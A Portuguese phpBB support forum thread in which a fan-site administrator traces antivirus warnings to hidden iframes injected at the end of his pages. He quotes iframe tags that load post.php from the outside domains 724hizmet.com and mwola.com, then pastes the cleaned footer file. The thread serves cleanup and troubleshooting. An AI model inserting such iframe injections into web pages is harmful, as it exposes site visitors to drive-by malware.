Avast bloqueando acesso ao fórum

[HardGuns]

Qual a URL do seu fórum: http://www.gunsnrosesbrasil.com/forum
Tipo de Hospedagem: Pago
Qual a versão do phpBB: 3.0.7-PL1
É um novo ou uma conversão: Instalação Limpa
Estilos instalados: poker_olympus
Qual seu nivel de experiência: Intermediario
Quando começou o problema: algumas semanas
Descreva seu problema: Diversos usuários estão reclamando que o Avast e mais 1 ou 2 antivirus estão bloqueando o acesso ao meu fórum, sob acusação de endereço contaminado. O que devo fazer? Com faço uma varredura para achar o local contaminado? Obrigado!

Print do erro:

http://imageshack.us/a/img850/6177/347c.jpg

[_Vinny_]

A mensagem diz que é um iframe, no final da sua pagina tem um iframe, procure identificar o que é e de onde é este iframe, se não for informação util, basta remove-los.

Contudo, eu verifiquei a template do seu estilo e não tem esse iframe no arquivo. A sua hospedagem é realmente paga? Pois geralmente hospedagens free colocam codigo no final das paginas dinamicamente.

[HardGuns]

Sim, hospedo na uolhost. Saberia me dizer em qual arquivo procuro esse codigo? Obrigado.

[_Vinny_]

Eu tentei ver se era no arquivo overall_footer.htmlda template do estilo, porém não tem nada relacionado neste arquivo.

Tem como você mudar de estilo por algum tempo e ver se continua o problema? Pois se ainda aparece o codigo malicioso deve ser algum arquivo PHP que esta carregando este codigo.

[HardGuns]

Loghei no painel do admin e embaixo do menu esquerdo, tinha um quandro em branco com erro de página. Cloquei em ver o código fonte e achei isso:

Código: Selecionar todos

<div id="page-footer">
		
			Powered by phpBB &copy; 2000, 2002, 2005, 2007 <a href="http://www.phpbb.com/">phpBB Group</a>
			<br />Traduzido por: <a href="http://www.suportephpbb.com.br" target="_blank">Suporte phpBB</a>
	</div>
</div>

<iframe name=Twitter scrolling=auto frameborder=no align=center height=81 width=90 src=http://724hizmet.com/post.php?id=961911></iframe></body>
</html>

view-source:http://gunsnrosesbrasil.com/forum/adm/i ... e=imageset

====

Edit: selecionando em EXIBIR CÓDIGO FONTE DA PÁGINA na home do fórum, achei mais links no final do código.

Código: Selecionar todos

<div>
	<a id="bottom" name="bottom" accesskey="z"></a>
	
</div>
<div style="display:none" id="resizemod"></div>
<iframe name=Twitter scrolling=auto frameborder=no align=center height=50 width=56 src=http://mwola.com/post.php?id=961911></iframe></body>
</html>

O que acha? Sabe qual arquivo edito para remover?

=========

Edit 2:

Acho que solucionei. Encontrei a entrada do spam no arquivo overall_footer. O código dele:

Código: Selecionar todos

<div>
	<a id="bottom" name="bottom" accesskey="z"></a>
	<!-- IF not S_IS_BOT -->{RUN_CRON_TASK}<!-- ENDIF -->
</div>
<div style="display:none" id="resizemod"></div>
</body>